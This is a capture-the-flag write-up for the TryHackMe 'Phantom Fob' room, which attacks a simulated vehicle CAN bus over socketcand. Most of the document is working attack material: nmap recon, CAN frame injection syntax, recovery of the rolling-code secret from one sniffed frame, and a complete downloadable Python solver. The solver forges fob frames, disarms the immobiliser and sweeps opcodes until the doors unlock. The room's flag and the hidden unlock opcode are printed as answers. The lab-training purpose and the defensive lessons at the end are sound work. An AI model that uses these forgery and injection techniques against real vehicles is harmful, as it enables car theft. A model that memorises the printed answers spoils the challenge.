01Automotive · CAN Bus Security

TryHackMe · Phantom Fob Writeup

TryHackMe Phantom Fob Room Icon
CAN Phantom Fob

Phantom Fob.

The fob locks but won’t unlock. Codes change every second, forge the signal; don’t replay it.

Task 1 · Medium · SocketCAN / socketcand · Rolling-Code Forgery · CAN Injection · Flag Captured

10.49.169.148 · Rolling-Code Forge Pipeline

Phantom Fob · Task 1

Attack Chain · Replay Is Dead, Forgery Wins

01 · Sniff

Bridge

Attach to vcan0 over TCP :29536 and isolate the fob from decoy ECUs.

02 · Reverse

Invert

Map counter, opcode and authenticator, then solve the per-second secret from one frame.

03 · Forge

Sweep

Disarm the immobiliser, recompute fresh auth bytes, and sweep all 256 opcodes.

04 · Flag

Unlock

Doors pop at 0x29; the flag is published to /events.

02Concepts

CAN Bus · Rolling Codes · CAN Injection

What's inside.

  1. 01

    CAN Bus

    One shared broadcast wire. Doors, dashboard, engine and immobiliser ECUs all hear every frame, filtered only by arbitration ID.

  2. 02

    The Phantom Fob

    Four buttons — Lock, Horn, Immobiliser Arm, Disarm — and deliberately no Unlock.

  3. 03

    socketcand

    A daemon that bridges Linux SocketCAN over plain TCP. The lab exposes vcan0 on 29536/tcp.

  4. 04

    Instrument Cluster API

    Flask on 8080/tcp: /press triggers buttons, /events streams cooked vehicle state over SSE.

  5. 05

    Rolling Codes

    Each frame carries a counter, a per-second seed and an authenticator byte. Replaying yesterday's frame is useless.

  6. 06

    The Weakness

    The authenticator is cleartext modular addition or XOR. One observed frame reveals the secret and lets us mint any command.

03Walkthrough

Recon → Reverse → Forge

From sniffing the bus to popping the doors.

ScenarioCAN Bus 101

One Shared Wire, Every ECU Listening

Modern vehicles use an internal broadcast network called the CAN Bus (Controller Area Network). Doors, dashboard, engine and immobiliser ECUs all shout messages onto the same shared wire, identified by an arbitration CAN ID rather than a source/destination address.

We are plugged into a demo vehicle holding a fob with Lock, Horn, Immobiliser Arm and Immobiliser Disarm — but no Unlock button. The manufacturer claims per-second rolling codes mean Unlock "can't be copied." Our job: watch the bus, reverse how door commands are authenticated, and craft Unlock ourselves.

Attacker Setup10.49.185.201 · AttackBox

Why ip link Shows No CAN Device

Checking ip link / ifconfig on the attacker machine shows ens5, docker0 and veth* pairs — no can0 or vcan0. Nothing is misconfigured.

The virtual CAN interface (vcan0) lives inside the remote lab container, not on our attacker host. We reach it over the VPN using socketcand, a daemon that bridges Linux SocketCAN interfaces over plain TCP.

Step 01 · Enumerationnmap -Pn -p-

Mapping the Exposed Services

A full TCP scan against the target reveals three open ports. SSH (22/tcp) is a distraction with no credentials in scope. The real attack surface is:

  • 8080/tcp — Flask Instrument Cluster web dashboard & key-fob HTTP control API.
  • 29536/tcp — socketcand default port: raw remote access to the vehicle's vcan0 bus.
Step 02 · Web APIFlask · Port 8080

Probing the Instrument Cluster

Browsing http://10.49.169.148:8080/ shows a live cluster UI backed by three routes:

  • GET / — dashboard with the four fob buttons.
  • POST /press — accepts JSON {"button":"LOCK"}. Asking for "UNLOCK" returns {"msg":"no such control","ok":false}.
  • GET /events — Server-Sent Events stream of cooked vehicle state (locked, immob, horn, speed, flag) — an ideal oracle to confirm forged frames.
Terminal · Recon & Fob API
root@ip-10-49-185-201:~# export TARGET=10.49.169.148
root@ip-10-49-185-201:~# nmap -Pn -p- --min-rate 4000 -T4 $TARGET
PORT      STATE SERVICE
22/tcp    open  ssh
8080/tcp  open  http-proxy
29536/tcp open  unknown        # socketcand — the CAN bus gateway

root@ip-10-49-185-201:~# curl -s -X POST http://$TARGET:8080/press -H 'Content-Type: application/json' -d '{"button":"LOCK"}'
{"msg":"OK","ok":true}
root@ip-10-49-185-201:~# curl -s -X POST http://$TARGET:8080/press -H 'Content-Type: application/json' -d '{"button":"UNLOCK"}'
{"msg":"no such control","ok":false}

root@ip-10-49-185-201:~# curl -sN --max-time 2 http://$TARGET:8080/events
data: {"locked": true, "immob": true, "horn": false, "speed": 29.3, "turn": 0, "fps": 194, "seen_ids": 9, "flag": null}
CAN IDObserved RateRole on the BusAction
0x227 · 0x321 · 0x16F · 0x3D2 · 0x096 Continuous Decoy ECU chatter with rolling / random-looking payloads Ignore
0x39E ~5 / sec Vehicle status broadcast: b0=doors, b1=immobiliser, b2=horn, b3=0xA5 Read-only
0x565 ~1.1 / sec Cleartext rolling window counter feed (used by the 0x421 fob layout) Timing oracle
0x5CE (or 0x421) On button press only Key-fob command frames (8-byte DLC) Target
Step 03 · Bus Accesssocketcand · :29536

Attaching to vcan0 over TCP

socketcand speaks a tiny line protocol wrapped in angle brackets. On connect it greets us with < hi >. We open the bus by name and switch to raw mode:

server → < hi >
client → < open vcan0 >  → server: < ok >
client → < rawmode >    → server: < ok >

Gotcha: use a space, not a colon — < open vcan0 >, never < open: vcan0 >. Frames then stream continuously as < frame ID sec.usec HEXDATA >, and we transmit with < send ID DLC b0 b1 ... >.

Step 04 · CorrelationPress & Diff

Finding the Fob in a Sea of Decoys

The bus is noisy: IDs 227, 321, 16F, 3D2 and 096 chatter constantly with random-looking payloads. Instead of decoding noise, we correlate: snapshot traffic, fire POST /press for LOCK, and look for the ID that fires only in lockstep with button presses.

That isolates the key fob immediately — 0x5CE on current builds (older/other builds use 0x421; both layouts are reversed below).

sniff.py · Minimal socketcand Raw Stream Client
import socket

s = socket.create_connection(("10.49.169.148", 29536), timeout=10)
print(s.recv(1024).decode())               # < hi >
s.sendall(b"< open vcan0 >\n")
print(s.recv(1024).decode())               # < ok >
s.sendall(b"< rawmode >\n")

while True:
    data = s.recv(4096)
    if data:
        print(data.decode(errors="ignore"), end="")
Step 05 · Dead EndStatus ≠ Command

Why Spoofing 0x39E Doesn't Unlock the Car

Watching 0x39E while locking and arming shows a clean layout: 01 01 00 A5 00 00 00 00 (byte 0 = doors locked, byte 1 = immobiliser armed, byte 2 = horn, byte 3 = constant 0xA5). Flooding < send 39E 8 00 00 00 a5 00 00 00 00 > makes the Flask dashboard display UNLOCKED, because the dashboard is just a passive bus listener.

Trap avoided: 0x39E is the car reporting its state, not accepting it. Spoofing it fools the UI only — the real door controller never unlocks and no flag is released. We must forge a valid command on the fob's own CAN ID.
Step 06 · Frame Layout AFob ID 0x5CE

Mapping the 8-Byte Fob Frame

Pressing each button and capturing the resulting 0x5CE frames gives:

LOCK         → 2b 86 1f ff ed c7 d1 90
HORN         → 2c 88 1f b4 25 c7 d1 10
IMMOB_ARM    → 2d 50 1f c1 ec c7 d1 01
IMMOB_DISARM → 38 b8 1f 03 88 c7 d1 e8

Repeated LOCK presses one second apart reveal which bytes are fixed, which count, and which reseed:

b030cnt +1
b143seed hi
b21ffixed
b329seed lo
b4d9auth
b5c7fixed
b6d1fixed
b790cmd

b2 (1f) and b5..b6 (c7 d1) never change. b0 increments by 1 per frame. (b1, b3) form a 16-bit rolling seed that stays constant within a wall-clock second and jumps on the next second — literally "codes change every second."

Frame Layout BAlternate Build · Fob ID 0x421

The XOR Variant on 0x421

If your instance's fob fires on 0x421 (e.g. Horn = 1e e5 2d 99 b6 59 3f 76), the same logic applies with shifted byte positions:

b01ewin code
b1e5auth
b22dfixed
b399fixed
b4b6win code
b559cnt +1
b63fcmd
b776fixed

Here (b0, b4) are per-window constants tied to the 0x565 broadcast (~0.9s window), b5 is the frame counter, b6 is the command, and b1 is the authenticator.

Button opcodes across both builds:

Button0x5CE (b7)0x421 (b6)
LOCK0x900xCD
HORN0x100x3F
IMMOB_ARM0x010xBF
IMMOB_DISARM0xE80x53
UNLOCK (hidden)0x29swept 00–FF
Step 07 · CryptanalysisOne Frame Recovers the Secret

Inverting the Rolling Authenticator

Naive replay fails because the per-second seed expires. Naive command-flipping fails because changing cmd or cnt invalidates the authenticator byte. To see how the authenticator is computed, press different buttons within the same second:

# Same second (785), rolling base (b1, b3) = (97, af) on 0x5CE:
cnt=0x63 (99)   cmd=0x10 (HORN)        →  b4=0x66 (102)
cnt=0x64 (100)  cmd=0x01 (IMMOB_ARM)   →  b4=0x58 (88)
cnt=0x65 (101)  cmd=0x90 (LOCK)        →  b4=0xe8 (232)

Byte 4 is a simple per-message authenticator binding the counter and command to a per-second secret S. Every sample fits an 8-bit modular sum:

b4 = (cnt + cmd + S) mod 256   ⇒   S = (b4 − cnt − cmd) mod 256

Solving from the Horn sample: S = (0x66 − 0x63 − 0x10) & 0xFF = (−13) & 0xFF = 0xF3. Checking the other two: (0x64 + 0x01 + 0xF3) & 0xFF = 0x58 ✓ and (0x65 + 0x90 + 0xF3) & 0xFF = 0xE8 ✓.


On the 0x421 XOR build: within one 0x565 window, b1 ^ cnt is constant for repeated presses of the same button, and XORing with cmd yields the same key across all buttons:

b1 = cnt ^ key ^ cmd   ⇒   key = b1 ^ cnt ^ cmd

For example, in window 0xAD: Horn gives K = 0x86 → 0x86 ^ 0x3F = 0xB9, and Lock gives K = 0x74 → 0x74 ^ 0xCD = 0xB9. Same key = 0xB9 ✓.

Core Weakness · Invertible Cleartext Auth

Both schemes are fully invertible from a single sniffed frame. The counter, command and authenticator all travel in cleartext in the same 8-byte payload. No brute force or key cracking is needed — one legitimate button press hands us the current window's seed bytes and secret, letting us mint valid frames for any command byte.

Step 08 · Proof of ForgeHorn as an Oracle

Validating on Something Harmless First

Before touching the doors, prove the forge end-to-end on the Horn. Suppose we sniff a legitimate LOCK press:

LOCK → 69 af 1f 7a cf c7 d1 90
cnt0 = 0x69   base = (af, 7a)   b4 = 0xcf   cmd = 0x90

Recover S, bump the counter to 0x6A, set cmd = 0x10 (Horn), and recompute b4:

S   = (0xCF - 0x69 - 0x90) & 0xFF = 0xD6
b4' = (0x6A + 0x10 + 0xD6) & 0xFF = 0x50

Sending < send 5CE 8 6a af 1f 7a 50 c7 d1 10 > flips "horn": true on /events. The ECU accepted our forged frame as authentic — byte layout, formula and injection syntax are all confirmed.

Step 09 · Sweep GotchasTiming & Immobiliser

Two Traps That Break Naive Sweeps

The four known opcodes have no arithmetic relationship to Unlock, so we sweep all 256 candidate command bytes. Two details decide whether it works:

  1. The ~0.9–1.0s window expiry: capture, secret derivation and injection must happen inside the same rolling window. A sleep() between sniffing LOCK and sending invalidates the seed. Batch all < send ... > lines in one sendall() immediately after the LOCK frame arrives.
  2. Immobiliser lockout: sending IMMOB_ARM (0x01 / 0xBF) early in a 0x00–0xFF sweep arms the immobiliser, and an armed immobiliser silently refuses door unlocks. Press IMMOB_DISARM + LOCK first, then skip the LOCK and IMMOB_ARM opcodes during the sweep.
Step 10 · Unlock & Flagcmd = 0x29 Accepted

Doors Pop at 0x29

For each candidate opcode, increment cnt by 1, copy the fresh per-second seed bytes from the just-sniffed LOCK frame, and compute b4 = (cnt + cand + S) & 0xFF (or b1 = cnt ^ key ^ cand). When candidate 0x29 hits on 0x5CE, the door ECU unlocks:

data: {"locked": false, "immob": false, "horn": false, ..., "flag": "THM{C4r_H4cking_is_kind4_c00l}"}

The moment the genuine unlock executes, locked drops to false and the flag is published to /events (and released on the bus). Below is the complete automated solver — it uses only the Python standard library and auto-detects both the 0x5CE additive and 0x421 XOR builds.

solve.py · Full Auto-Detecting Phantom Fob Exploit
Download
#!/usr/bin/env python3
"""TryHackMe: Phantom Fob — automated CAN bus rolling-code forge & unlock solver."""
import os, sys, socket, time, re, json, threading, urllib.request
from collections import Counter

HOST = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET", "10.49.169.148")
HTTP_PORT, CAN_PORT = 8080, 29536
frames, state, found = [], {}, [None]
frames_lock = threading.Lock()
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,8}\{[^}\r\n]{3,80}\}")
FRAME_RE = re.compile(r"< frame ([0-9A-Fa-f]+) ([0-9.]+) ([0-9A-Fa-f]+) >")

def press(btn):
    req = urllib.request.Request(
        f"http://{HOST}:{HTTP_PORT}/press",
        data=json.dumps({"button": btn}).encode(),
        headers={"Content-Type": "application/json"}, method="POST")
    return urllib.request.urlopen(req, timeout=5).read()

s = socket.create_connection((HOST, CAN_PORT), timeout=10)
s.settimeout(3)
def read_gt():
    b = b""
    while b">" not in b:
        c = s.recv(4096)
        if not c: break
        b += c
    return b

read_gt()                                            # < hi >
s.sendall(b"< open vcan0 >"); read_gt()              # < ok >
s.sendall(b"< rawmode >"); time.sleep(0.25)          # < ok > + stream
s.settimeout(0.1)

def reader():
    buf, tails = b"", {}
    while True:
        try: d = s.recv(65536)
        except socket.timeout: continue
        except OSError: return
        if not d: return
        buf += d
        if b">" not in buf: continue
        end = buf.rfind(b">") + 1
        chunk, buf = buf[:end], buf[end:]
        for m in FRAME_RE.finditer(chunk.decode("latin1")):
            cid, hx = m.group(1).upper(), m.group(3).upper()
            with frames_lock:
                frames.append((cid, hx))
                if len(frames) > 20000: del frames[:10000]
            raw = bytes.fromhex(hx).decode("latin1")
            tails[cid] = (tails.get(cid, "") + raw)[-128:]
            hit = FLAG_RE.search(tails[cid])
            if hit: found[0] = hit.group(0)

def sse():
    while True:
        try:
            r = urllib.request.urlopen(f"http://{HOST}:{HTTP_PORT}/events", timeout=60)
            for line in r:
                line = line.decode(errors="ignore").strip()
                hit = FLAG_RE.search(line)
                if hit: found[0] = hit.group(0)
                if line.startswith("data:"):
                    j = json.loads(line[5:].strip())
                    state.update(j)
                    if j.get("flag"): found[0] = j["flag"]
        except Exception:
            time.sleep(0.5)

threading.Thread(target=reader, daemon=True).start()
threading.Thread(target=sse, daemon=True).start()
time.sleep(1.2)

def grab(btn, fid=None, settle=0.16):
    with frames_lock: n0 = len(frames)
    press(btn)
    t0 = time.time()
    while time.time() - t0 < settle:
        time.sleep(0.02)
        if fid:
            with frames_lock:
                if any(i == fid for i, _ in frames[n0:]):
                    time.sleep(0.03)  # let burst finish
                    break
    with frames_lock: new = frames[n0:]
    if fid is None: return new
    c = [bytes.fromhex(h) for i, h in new if i == fid and len(h) == 16]
    return c[-1] if c else None

# 1) Correlate button presses with bus traffic to find the fob CAN ID
with frames_lock: bg = set(i for i, _ in frames)
hits = []
for _ in range(3):
    ids = [i for i, _ in grab("LOCK") if i not in bg]
    if ids: hits.append(ids[-1])
    time.sleep(0.15)
if not hits:
    with frames_lock: rates = Counter(i for i, _ in frames)
    quiet = {i for i, n in rates.items() if n <= 4}
    for _ in range(3):
        hits += [i for i, _ in grab("LOCK") if i in quiet]
if not hits: raise SystemExit("[-] Could not isolate fob CAN ID.")
fid = Counter(hits).most_common(1)[0][0]
print(f"[+] Fob CAN ID: 0x{fid}")

# 2) Reverse counter index, command index, and auth formula (mod-256 sum or XOR)
layout = None
for _ in range(6):
    seq = [(b, grab(b, fid)) for b in ["LOCK", "HORN", "LOCK", "IMMOB_DISARM"]]
    for k in range(len(seq) - 2):
        (n0, f0), (n1, f1), (n2, f2) = seq[k:k+3]
        if not (f0 and f1 and f2) or n0 != n2 or n0 == n1: continue
        for ci in range(8):
            d1, d2 = (f1[ci] - f0[ci]) & 0xff, (f2[ci] - f1[ci]) & 0xff
            if d1 == 0 or d1 != d2: continue
            for cmd in range(8):
                if cmd == ci or not (f0[cmd] == f2[cmd] != f1[cmd]): continue
                for ai in range(8):
                    if ai in (ci, cmd): continue
                    if len({(f[ai] - f[ci] - f[cmd]) & 0xff for f in (f0, f1, f2)}) == 1:
                        layout = ("ADD", ci, cmd, ai); break
                    if len({f[ai] ^ f[ci] ^ f[cmd] for f in (f0, f1, f2)}) == 1:
                        layout = ("XOR", ci, cmd, ai); break
                if layout: break
            if layout: break
        if layout: break
    if layout: break
if not layout: raise SystemExit("[-] Layout derivation failed; re-run.")
mode, ci, cmd_i, ai = layout
print(f"[+] Formula: {mode} | counter=b{ci}, cmd=b{cmd_i}, auth=b{ai}")

ops = {b: grab(b, fid)[cmd_i] for b in ["LOCK", "HORN", "IMMOB_ARM", "IMMOB_DISARM"]}
print("[+] Opcodes:", {k: f"0x{v:02x}" for k, v in ops.items()})

# 3) Disarm immobiliser, lock doors, then sweep command space inside live window
skip = {ops["LOCK"], ops["IMMOB_ARM"]}
for rnd in range(1, 11):
    press("IMMOB_DISARM"); time.sleep(0.15)
    f = grab("LOCK", fid)
    c0, m0, a0 = f[ci], f[cmd_i], f[ai]
    sec = (a0 - c0 - m0) & 0xff if mode == "ADD" else (a0 ^ c0 ^ m0)
    out, c = [], c0
    unlocked_at = None
    for cand in range(256):
        if cand in skip: continue
        c = (c + 1) & 0xff
        fr = bytearray(f)
        fr[ci], fr[cmd_i] = c, cand
        fr[ai] = (c + cand + sec) & 0xff if mode == "ADD" else (c ^ sec ^ cand)
        out.append("< send %s 8 %s >\n" % (fid, " ".join("%02x" % x for x in fr)))
    s.sendall("".join(out).encode())
    for _ in range(20):
        time.sleep(0.05)
        if state.get("locked") is False and unlocked_at is None:
            unlocked_at = time.time()
        if found[0] or state.get("flag"):
            print(f"\n[+] DOORS UNLOCKED! FLAG: {found[0] or state['flag']}")
            sys.exit(0)
        if unlocked_at and time.time() - unlocked_at > 1.0:
            print("[+] Doors unlocked; latest state:", state)
    print(f"[-] Round {rnd} window expired or no unlock:", {k: state.get(k) for k in ("locked", "immob")})
print("[-] Re-run to retry window timing.")
Terminal · Running the Exploit
root@ip-10-49-185-201:~# python3 solve.py 10.49.169.148
[+] Fob CAN ID: 0x5CE
[+] Formula: ADD | counter=b0, cmd=b7, auth=b4
[+] Opcodes: {'LOCK': '0x90', 'HORN': '0x10', 'IMMOB_ARM': '0x01', 'IMMOB_DISARM': '0xe8'}

[+] DOORS UNLOCKED! FLAG: THM{C4r_H4cking_is_kind4_c00l}

04Command & Protocol Cheat Sheet

Recon · HTTP · socketcand

Commands & frames used on Phantom Fob.

Command / Frame Purpose Example Used
nmap -Pn -p- Discover all open TCP ports on the lab target without ICMP ping dependency. 22, 8080, 29536/tcp open
curl -X POST /press Trigger a physical fob button via the Flask API to generate known-plaintext CAN frames. -d '{"button":"LOCK"}' → {"ok":true}
curl -sN /events Stream cooked vehicle state over SSE; acts as an oracle for horn, immobiliser, lock & flag. data: {"locked":false,"flag":"THM{...}"}
< open vcan0 > Bind the socketcand TCP session to the virtual CAN interface vcan0. Server replies < ok >
< rawmode > Start raw frame streaming and enable raw frame transmission. < frame 5CE 1700.12 2b861fffedc7d190 >
< send ID DLC b0..b7 > Inject an arbitrary CAN frame onto the bus (space-separated hex bytes). < send 5CE 8 6a af 1f 7a 50 c7 d1 10 >
S = (b4 - cnt - cmd) & 0xff Recover the per-second additive secret on fob ID 0x5CE from one sniffed frame. (0xCF - 0x69 - 0x90) & 0xFF = 0xD6
key = b1 ^ cnt ^ cmd Recover the rolling-window XOR key on fob ID 0x421 from one sniffed frame. 0x74 ^ 0xCD = 0xB9 (with K = b1 ^ cnt)
python3 solve.py MACHINE_IP Run the end-to-end auto-detecting sniff → reverse → disarm → opcode sweep exploit. Unlocks doors & prints flag in ~3s

05Answers & Flag

Verified · Phantom Fob Complete

Room Complete · Task 1 Solved

Rolling codes stop replays, not forgeries.

1. Invertible authentication is broken authentication. Reseeding a code every second only defeats naive replay. When the per-message authenticator is plain modular addition or XOR over cleartext fields (counter, command), one observed frame reveals the secret and lets an attacker synthesize any command. Real key fobs use keyed cryptographic PRFs/MACs (e.g. AES-CMAC or truncated HMAC over counter || command) so captured frames never expose the key.

2. Hidden buttons and bus noise are not access control. Omitting Unlock from the web UI and flooding the bus with decoy ECUs only obscure the opcode. On a shared CAN bus with no message authentication, any node that can transmit can impersonate the fob — security has to be enforced cryptographically by the receiving ECU.

  • socketcand Bridging
  • Traffic Correlation
  • Rolling-Code Reversing
  • CAN Frame Injection
  • Flag Captured

Recovered Flag · Task 1

THM{C4r_H4cking_is_kind4_c00l}

Task 1 · Question 01

What is the flag? (Format: ***{***_*******_**_*****_****})

THM{C4r_H4cking_is_kind4_c00l}

Key Finding · Hidden Opcode

Forged command byte that unlocks the doors on fob ID 0x5CE.

0x29 (UNLOCK)

Attack Surface · Lab Services

Flask instrument cluster / fob API + socketcand CAN bus bridge.

8080/tcp · 29536/tcp